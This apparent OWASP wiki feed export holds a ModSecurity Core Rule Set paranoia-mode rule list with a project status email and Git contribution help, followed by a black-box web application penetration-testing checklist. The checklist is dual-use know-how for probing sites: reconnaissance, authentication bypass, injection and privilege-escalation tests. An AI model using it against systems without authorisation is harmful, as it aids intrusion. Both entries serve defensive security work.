  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981018&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981022&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981133&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981134&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981136&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981172&lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981173&lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981177&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981178&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981231&lt;br /&gt;
  | SQL Comment Sequence Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981260&lt;br /&gt;
  | SQL Hex Encoding Identified&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981300&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981301&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981302&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981303&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981304&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981305&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981306&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981307&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981308&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981309&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981310&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981311&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981312&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981313&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981314&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981315&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981316&lt;br /&gt;
  | SQL SELECT Statement Anomaly Detection Alert&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981317&lt;br /&gt;
  | SQL SELECT Statement Anomaly Detection Alert&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 990012&lt;br /&gt;
  | Rogue web site crawler&lt;br /&gt;
  | &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
====Optional, experimental, slr rules====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 | 900048&lt;br /&gt;
 | Identifies Reflected XSS (optional_rules)&lt;br /&gt;
 | Walter: could be very interesting candidate but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 920021, 920022, 920023&lt;br /&gt;
 | Possible Credit Card Track 1 Data Leakage. (experimental_rules)&lt;br /&gt;
 | Walter: could be interesting candidates but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 981080, 920020, 920006&lt;br /&gt;
 | Detect CC# in output and block transaction (optional_rules)&lt;br /&gt;
 | Walter: could be interesting candidate but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 900047, 900048, 981180, 981182&lt;br /&gt;
 | Identifies Stored XSS (optional_rules)&lt;br /&gt;
 | Walter: could be somewhat interesting candidate but have not used it in production&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Stricter siblings for existing rules ===&lt;br /&gt;
&lt;br /&gt;
Stricter Siblings are rules that are present in the CRS but could be accompanied by a stricter clone in Paranoia Mode. Adjustments can differ from rule to rule but include higher anomaly ratings or stricter triggers (e.g. regex counters). To prevent masses of false positives, rules can come with additional filters (chained rules) for common use-cases. These can either be included into Paranoia Mode or simply serve as a recommendation.&lt;br /&gt;
&lt;br /&gt;
Note: To avoid a cluttered project main-page, rule proposals are documented in their respective sub-page. When adding new proposals, make sure adding the rules original (2.2.x) ID, a quick description of what changes were made, and, if applicable, which additional filters were added. For every proposed rule change, we will create a [https://github.com/SpiderLabs/owasp-modsecurity-crs/issues Github issue]; after discussion a pull request will be created. For brainstorming about CRS rules, see our [[OWASP ModSecurity rule evaluation framework]].&lt;br /&gt;
&lt;br /&gt;
'''Possible siblings:'''&lt;br /&gt;
&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981173|981173 : SQL Injection Character Anomaly Usage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981172|981172 : SQL Injection Character Anomaly Usage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981049|981049 : Potential Denial of Service (DoS)]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_970003|970003 : SQL Error Leakage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_960901|960901 : Invalid character in request]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958980|958980 : PHP Injection Attack: Variables Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958979|958979 : PHP Injection Attack: Configuration Directive Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958977|958977 : PHP Injection Attack: Function Name Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950907|950907 : Remote Command Execution (RCE) Attempt]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950001|950001 : SQL Injection Attack]]&lt;br /&gt;
&lt;br /&gt;
==Project Status==&lt;br /&gt;
&lt;br /&gt;
===Project Status January 30, 2016===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
Hello everybody,&lt;br /&gt;
&lt;br /&gt;
It's time to do a status report of our little core rules project.&lt;br /&gt;
&lt;br /&gt;
I am including Franziska Bühler and Walter Hop in this status mail.&lt;br /&gt;
Both are experienced ModSec sysadmins. Franziska contributed to this&lt;br /&gt;
first stage, Walter told me he does not have much time, but he&lt;br /&gt;
was interested in participating at least in the discussions about&lt;br /&gt;
the rules.&lt;br /&gt;
&lt;br /&gt;
All in all, this is taking more time than anticipated. But we&lt;br /&gt;
have also done things very throughly than I thought. Which is&lt;br /&gt;
generally a good thing.&lt;br /&gt;
&lt;br /&gt;
Done so far:&lt;br /&gt;
* Manuel has provided us with a list of rules removed between 2.2.x and 3.0.0rc1&lt;br /&gt;
* I have assembled a list of rules known to trigger false positives frequently in the 2.2.x ruleset, they are thus candidates for the paranoia mode&lt;br /&gt;
* Franziska has looked through the 3.0.0rc1 rules and identified a set of rules which look like good candidates.&lt;br /&gt;
* Noël has sharpened his skills by re-writing 981173 in a way that ignores innocent UUIDs. In my eyes, he found a very elegant solution.&lt;br /&gt;
* With the development of 3.0.0-dev, Chaim unfortunately reused rule ids formerly used with optional and experimental rules. Now this has all been renumbered. I have pointed this out in the mailinglist and had private contact with Chaim where he confirmed the fact - and promised to resolve the issue.&lt;br /&gt;
&lt;br /&gt;
We have not really looked at the disappeared rules and identified those&lt;br /&gt;
who should be brought back and have not been picked so far. This&lt;br /&gt;
includes the 2.2.X base_rules, but also the optional, experimental,&lt;br /&gt;
and huge stock of slr rules. Of these three groups, only the&lt;br /&gt;
anti-ddos rules have made it into 3.0.0. There are probably more&lt;br /&gt;
interesting candidates.&lt;br /&gt;
&lt;br /&gt;
If somebody among you wants to look into these, then that would be&lt;br /&gt;
welcome, but I do not want to have these tasks delay us any further.&lt;br /&gt;
After all, Old rules can also be brought back in subsequent releases&lt;br /&gt;
if we see a benefit.&lt;br /&gt;
&lt;br /&gt;
So the next real tasks are:&lt;br /&gt;
* Looking through the list of candidates and cloning-candidates (the latter are those rules we might accompany with a clone with stricter limits in paranoia mode).&lt;br /&gt;
* Defining the exact working of the paranoia mode.&lt;br /&gt;
&lt;br /&gt;
Please sit down and look through the rule lists in the wiki and add&lt;br /&gt;
remarks with regards to the candidate rules. If you think a rule&lt;br /&gt;
should be included, if you think an individual rule should not be&lt;br /&gt;
included etc.&lt;br /&gt;
&lt;br /&gt;
I am also going to invite the people on the mailinglist to take look at&lt;br /&gt;
the rules as well and add their remarks in the wiki (or respond via mail).&lt;br /&gt;
This should allow us to nail down the list of rules which will&lt;br /&gt;
actually be included in the paranoia mode.&lt;br /&gt;
&lt;br /&gt;
As for defining the exact working of the paranoia mode, I guess I&lt;br /&gt;
need to write down the idea I have in mind and see if it makes sense to&lt;br /&gt;
you.&lt;br /&gt;
&lt;br /&gt;
Thank you for contributing so far! It is a lot of fun to work in a team!&lt;br /&gt;
&lt;br /&gt;
Christian&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Git help==&lt;br /&gt;
&lt;br /&gt;
====How to Perform Pull Request to CRS v3.0.0-rc1====&lt;br /&gt;
&lt;br /&gt;
'''By Walter Hop'''&lt;br /&gt;
&lt;br /&gt;
This example assumes that the Github username is 'lifeforms', replace with your own username.&lt;br /&gt;
&lt;br /&gt;
'''Step 1. Create a Github fork of the original repository'''&lt;br /&gt;
* a. Browse to CRS: https://github.com/SpiderLabs/owasp-modsecurity-crs&lt;br /&gt;
* b. Click &amp;quot;Fork&amp;quot; button in the top right&lt;br /&gt;
&lt;br /&gt;
'''Step 2. Download your Github fork, and checkout the correct branch '''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git clone git@github.com:lifeforms/owasp-modsecurity-crs.git &amp;lt;br/&amp;gt;&lt;br /&gt;
cd owasp-modsecurity-crs &amp;lt;br/&amp;gt;&lt;br /&gt;
git checkout v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 3. Add the original repository as upstream, to integrate new changes easily'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
	git remote add upstream git@github.com:SpiderLabs/owasp-modsecurity-crs.git&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 4. Make sure your forked repo is up to date with changes in the original repository'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You need to re-do these steps if somebody else made changes to upstream in the meantime!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git checkout v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
git fetch upstream &amp;lt;br/&amp;gt;&lt;br /&gt;
git merge --ff upstream/v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
git push &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 5. Create a branch for every separate issue you'd like to fix.'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git checkout -b myfeature v3.0.0-rc1&amp;lt;br/&amp;gt;&lt;br /&gt;
git push --set-upstream origin myfeature&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 6. Make local changes and commit them'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git add ...&amp;lt;br/&amp;gt;&lt;br /&gt;
git commit&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 7. Push your local changes to your fork at Github'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git push&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 8. Create the pull request'''&lt;br /&gt;
* a. Browse to your own fork: https://github.com/lifeforms/owasp-modsecurity-crs&lt;br /&gt;
* b. Click &amp;quot;New pull request&amp;quot; button&lt;br /&gt;
* c. In the &amp;quot;base fork&amp;quot;, ensure that the correct branch is selected: v3.0.0-rc1&lt;br /&gt;
* d. In the &amp;quot;head fork&amp;quot;, pick &amp;quot;myfeature&amp;quot; (if you used branches) or v3.0.0-rc1 (if you didn't)&lt;br /&gt;
* e. Review the content of the pull request (should only contain your commits)&lt;br /&gt;
* f. Press &amp;quot;Create pull request&amp;quot; button&lt;br /&gt;
&lt;br /&gt;
'''Optional: Updating your pull request'''&lt;br /&gt;
&lt;br /&gt;
After opening the pull request, people will review it, and probably will make some suggestions for changes before the PR can be accepted. You can keep pushing to your branch, and it will be reflected in the PR.&lt;br /&gt;
&lt;br /&gt;
If in the meantime the code in upstream has drifted, you should re-do step 4 above.&lt;br /&gt;
&lt;br /&gt;
Then, just change some files, commit and push.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git add ...&amp;lt;br/&amp;gt;&lt;br /&gt;
git commit&amp;lt;br/&amp;gt;&lt;br /&gt;
git push&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
See also:&lt;br /&gt;
&lt;br /&gt;
* https://help.github.com/articles/fork-a-repo/&lt;br /&gt;
* https://help.github.com/articles/syncing-a-fork/&lt;br /&gt;
* https://help.github.com/articles/using-pull-requests/&lt;br /&gt;
&lt;br /&gt;
====Testing someone else's pull request====&lt;br /&gt;
To test a PR locally, use the following commands to create a branch for it.&lt;br /&gt;
&lt;br /&gt;
In this example we check out PR #427, creating a branch &amp;lt;tt&amp;gt;chaim-headers&amp;lt;/tt&amp;gt; locally (you can use any name):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git fetch upstream pull/427/head:chaim-headers&lt;br /&gt;
git checkout chaim-headers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Pushing to someone else's pull request====&lt;br /&gt;
In an editable PR, the PR will say something like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Add more commits by pushing to the ExceptionSupport branch on csanders-git/owasp-modsecurity-crs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To add to branch &amp;lt;tt&amp;gt;ExceptionSupport&amp;lt;/tt&amp;gt; of user &amp;lt;tt&amp;gt;csanders-git&amp;lt;/tt&amp;gt;, do:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git remote add chaim git@github.com:csanders-git/owasp-modsecurity-crs.git&lt;br /&gt;
git fetch chaim&lt;br /&gt;
git co ExceptionSupport &lt;br /&gt;
git add ...&lt;br /&gt;
git push&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Purging a file completely from Git====&lt;br /&gt;
Delete the file from the repo:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git rm file&lt;br /&gt;
git commit&lt;br /&gt;
git push&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]&lt;br /&gt;
&lt;br /&gt;
Make a NEW mirror:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git clone --mirror git@github.com:SpiderLabs/owasp-modsecurity-crs.git&lt;br /&gt;
cd owasp-modsecurity-crs.git&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Purge the file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
java -jar ~/Downloads/bfg-*.jar --delete-files example.png&lt;br /&gt;
git reflog expire --expire=now --all &amp;amp;&amp;amp; git gc --prune=now --aggressive&lt;br /&gt;
git push -f&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
E-mail all users to REMOVE their copies of the repositories, and do a FRESH CLONE of the repo. If a user pulls again, the divergent histories will be merged, and there is a big risk that the dirty history (containing the purged file) will return again when they push later.&lt;br /&gt;
&lt;br /&gt;
See also: [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ModSecurity Core Rule Set Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Web_Application_Security_Testing_Cheat_Sheet&amp;diff=236456</id>
		<title>Web Application Security Testing Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Web_Application_Security_Testing_Cheat_Sheet&amp;diff=236456"/>
				<updated>2017-12-29T17:55:58Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Some updates to grammar.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet provides a checklist of tasks to be performed during blackbox security testing of a web application.&lt;br /&gt;
&lt;br /&gt;
= Purpose =&lt;br /&gt;
&lt;br /&gt;
This checklist is intended to be used as a memory aid for experienced pentesters. It should be used in conjunction with the [[:Category:OWASP Testing Project|OWASP Testing Guide]]. It will be updated as the [[OWASP_Application_Testing_guide_v4|Testing Guide v4]] progresses.&lt;br /&gt;
&lt;br /&gt;
The intention is that this guide will be available as an XML document, with scripts that convert it into formats such as PDF, MediaWiki markup, HTML, and so forth. This will allow it to be consumed within security tools as well as being available in a format suitable for printing. &lt;br /&gt;
&lt;br /&gt;
All feedback or offers of help will be appreciated. If you have specific changes you think should be made, please log in and make suggestions.&lt;br /&gt;
&lt;br /&gt;
= The Checklist =&lt;br /&gt;
&lt;br /&gt;
== Information Gathering ==&lt;br /&gt;
''Rendered Site Review''&lt;br /&gt;
*      Manually explore the site&lt;br /&gt;
*      [[Testing:_Spidering_and_googling |Spider/crawl]] for missed or hidden content&lt;br /&gt;
*      [[Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003)|Check the webserver metafiles]] for information leakage files that expose content, such as robots.txt, sitemap.xml, and .DS_Store&lt;br /&gt;
*      [[Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001)|Check the caches of major search engines for publicly accessible sites]]&lt;br /&gt;
*      Check for differences in content based on user agent (e.g. mobile sites, accessing as a search engine crawler)&lt;br /&gt;
*      [[Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005) |Check webpage comments and metadata for information leakage]]&lt;br /&gt;
&lt;br /&gt;
''Development Review''&lt;br /&gt;
*      [[Fingerprint_Web_Application_Framework_(OTG-INFO-008) |Check the web application framework]]&lt;br /&gt;
*      [[Fingerprint_Web_Server_(OTG-INFO-002)|Perform web application fingerprinting]]&lt;br /&gt;
*      Identify technologies used&lt;br /&gt;
*      [[Test_Role_Definitions_(OTG-IDENT-001)|Identify user roles]]&lt;br /&gt;
*      [[Identify_application_entry_points_(OTG-INFO-006) |Identify application entry points]]&lt;br /&gt;
*      Identify client-side code&lt;br /&gt;
*      Identify multiple versions/channels (e.g. web, mobile web, mobile app)&lt;br /&gt;
&lt;br /&gt;
''Hosting and Platform Review''&lt;br /&gt;
*      [[Web_Services |Identify web services]]&lt;br /&gt;
*      Identify co-hosted and related applications&lt;br /&gt;
*      Identify all hostnames and ports&lt;br /&gt;
*      Identify third-party hosted content&lt;br /&gt;
&lt;br /&gt;
== Configuration Management ==&lt;br /&gt;
* Check for commonly used application and administrative URLs&lt;br /&gt;
* [[4.3.4_Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) |Check for old, backup, and unreferenced files]]&lt;br /&gt;
* [[Test_HTTP_Methods_(OTG-CONFIG-006) |Check HTTP methods supported and Cross Site Tracing (XST)]]&lt;br /&gt;
* [[4.3.3_Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) |Test file extensions handling]]&lt;br /&gt;
* [[Test_RIA_cross_domain_policy_(OTG-CONFIG-008) |Test RIA cross domain policy]]&lt;br /&gt;
* Test for [[List_of_useful_HTTP_headers |security HTTP headers]] (e.g. CSP, X-Frame-Options, HSTS)&lt;br /&gt;
* Test for policies (e.g. Flash, Silverlight, robots)&lt;br /&gt;
* Check for sensitive data in client-side code (e.g. API keys, credentials)&lt;br /&gt;
&lt;br /&gt;
== Secure Transmission ==&lt;br /&gt;
''Protocols and Encryption''&lt;br /&gt;
* [[Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) |Check SSL version, algorithms, and key length]]&lt;br /&gt;
* Check for digital certificate validity (duration, signature, and CN)&lt;br /&gt;
* Check that credentials are only delivered over HTTPS&lt;br /&gt;
* Check that the login form is delivered over HTTPS&lt;br /&gt;
* Check that session tokens are only delivered over HTTPS&lt;br /&gt;
* [[Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-009) |Check if HTTP Strict Transport Security (HSTS) in use]]&lt;br /&gt;
* [[Test_Ability_to_forge_requests_(OTG-BUSLOGIC-002) |Test ability to forge requests]]&lt;br /&gt;
* [[Test_Web_Messaging_(OTG-CLIENT-011)|Test web messaging (HTML5)]]&lt;br /&gt;
* [[Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)|Check CORS implementation (HTML5)]]&lt;br /&gt;
&lt;br /&gt;
''Web Services and REST''&lt;br /&gt;
* [[Web_Service_Security_Testing_Cheat_Sheet | Test for web service issues]]&lt;br /&gt;
* [[REST_Assessment_Cheat_Sheet | Test REST]]&lt;br /&gt;
&lt;br /&gt;
== Authentication ==&lt;br /&gt;
''Application Password Functionality''&lt;br /&gt;
* [[Testing_for_Weak_password_policy_(OTG-AUTHN-007)|Test password quality rules]]&lt;br /&gt;
* Test remember me functionality&lt;br /&gt;
* Test password reset and/or recovery&lt;br /&gt;
* Test password change process&lt;br /&gt;
* Test CAPTCHA&lt;br /&gt;
* Test multi-factor authentication&lt;br /&gt;
* Test for logout functionality presence&lt;br /&gt;
* Test for default logins&lt;br /&gt;
* Test for out-of-channel notification of account lockouts and successful password changes&lt;br /&gt;
* Test for consistent authentication across applications with shared authentication schema/SSO and alternative channels&lt;br /&gt;
* Test for weak security question/answer&lt;br /&gt;
&lt;br /&gt;
''Additional Authentication Functionality''&lt;br /&gt;
* [[Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002) | Test for user enumeration]]&lt;br /&gt;
* [[Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) | Test for authentication bypass]]&lt;br /&gt;
* [[Testing_for_Brute_Force_(OWASP-AT-004) | Test for brute force protection]]&lt;br /&gt;
* [[Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)|Test for credentials transported over an encrypted channel]]&lt;br /&gt;
* Test for cache management on HTTP (eg Pragma, Expires, Max-age)&lt;br /&gt;
* Test for user-accessible authentication history&lt;br /&gt;
&lt;br /&gt;
== Session Management ==&lt;br /&gt;
* Establish how session management is handled in the application (eg, tokens in cookies, token in URL)&lt;br /&gt;
* [[Testing_for_cookies_attributes_(OTG-SESS-002)|Check session tokens for cookie flags (httpOnly and secure)]]&lt;br /&gt;
* [[Testing_for_cookies_attributes_(OTG-SESS-002)|Check session cookie scope (path and domain)]]&lt;br /&gt;
* Check session cookie duration (expires and max-age)&lt;br /&gt;
* [[Test_Session_Timeout_(OTG-SESS-007)|Check session termination after a maximum lifetime]]&lt;br /&gt;
* [[Test_Session_Timeout_(OTG-SESS-007)|Check session termination after relative timeout]]&lt;br /&gt;
* [[Testing_for_logout_functionality_(OTG-SESS-006)|Check session termination after logout]]&lt;br /&gt;
* Test to see if users can have multiple simultaneous sessions&lt;br /&gt;
* [[Testing_for_Session_Management_Schema_(OTG-SESS-001)#Session_ID_Predictability_and_Randomness |Test session cookies for randomness]]&lt;br /&gt;
* Confirm that new session tokens are issued on login, role change, and logout&lt;br /&gt;
* Test for consistent session management across applications with shared session management&lt;br /&gt;
* Test for session puzzling&lt;br /&gt;
* Test for CSRF and clickjacking&lt;br /&gt;
&lt;br /&gt;
== Authorization ==&lt;br /&gt;
* [[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)|Test for path traversal]]&lt;br /&gt;
* [[Testing_for_Privilege_escalation_(OTG-AUTHZ-003)|Test for vertical access control problems (a.k.a. privilege escalation)]]&lt;br /&gt;
* Test for horizontal access control problems (between two users at the same privilege level)&lt;br /&gt;
* [[Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002)|Test for missing authorization]]&lt;br /&gt;
* [[Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)|Test for insecure direct object references]]&lt;br /&gt;
&lt;br /&gt;
== Cryptography ==&lt;br /&gt;
* [[Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)|Check if data which should be encrypted is not]]&lt;br /&gt;
* Check for wrong algorithms usage depending on context&lt;br /&gt;
* [[Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)|Check for weak algorithms usage]]&lt;br /&gt;
* [[Password_Storage_Cheat_Sheet#Use_a_cryptographically_strong_credential-specific_salt |Check for proper use of salting]]&lt;br /&gt;
* [[Insecure_Randomness |Check for randomness functions]]&lt;br /&gt;
&lt;br /&gt;
== Data Validation ==&lt;br /&gt;
''Injection''&lt;br /&gt;
* Test for HTML Injection&lt;br /&gt;
* [[Testing_for_SQL_Injection_(OTG-INPVAL-005)|Test for SQL Injection]]&lt;br /&gt;
* Test for LDAP Injection&lt;br /&gt;
* [[Testing_for_ORM_Injection_(OTG-INPVAL-007)|Test for ORM Injection]]&lt;br /&gt;
* [[Testing_for_XML_Injection_(OTG-INPVAL-008)|Test for XML Injection]]&lt;br /&gt;
* Test for XXE Injection&lt;br /&gt;
* [[Testing_for_SSI_Injection_(OTG-INPVAL-009)|Test for SSI Injection]]&lt;br /&gt;
* [[Testing_for_XPath_Injection_(OTG-INPVAL-010)|Test for XPath Injection]]&lt;br /&gt;
* Test for XQuery Injection&lt;br /&gt;
* [[Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)|Test for IMAP/SMTP Injection]]&lt;br /&gt;
* [[Testing_for_Code_Injection_(OTG-INPVAL-012)|Test for Code Injection]]&lt;br /&gt;
* Test for Expression Language Injection&lt;br /&gt;
* [[Testing_for_Command_Injection_(OTG-INPVAL-013)|Test for Command Injection]]&lt;br /&gt;
* Test for NoSQL injection&lt;br /&gt;
&lt;br /&gt;
''Other''&lt;br /&gt;
* [[Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)|Test for Reflected Cross Site Scripting]]&lt;br /&gt;
* [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Test for Stored Cross Site Scripting]]&lt;br /&gt;
* [[Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)|Test for DOM based Cross Site Scripting]]&lt;br /&gt;
* Test for Cross Site Flashing&lt;br /&gt;
* Test for Overflow ([[Testing_for_Stack_Overflow|Stack]], [[Testing_for_Heap_Overflow|Heap]] and Integer)&lt;br /&gt;
* [[Testing_for_Format_String|Test for Format String]]&lt;br /&gt;
* Test for incubated vulnerabilities&lt;br /&gt;
* [[Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)|Test for HTTP Splitting/Smuggling]]&lt;br /&gt;
* Test for HTTP Verb Tampering&lt;br /&gt;
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards|Test for Open Redirection]]&lt;br /&gt;
* [[Testing_for_Local_File_Inclusion|Test for Local File Inclusion]]&lt;br /&gt;
* [[Testing_for_Remote_File_Inclusion|Test for Remote File Inclusion]]&lt;br /&gt;
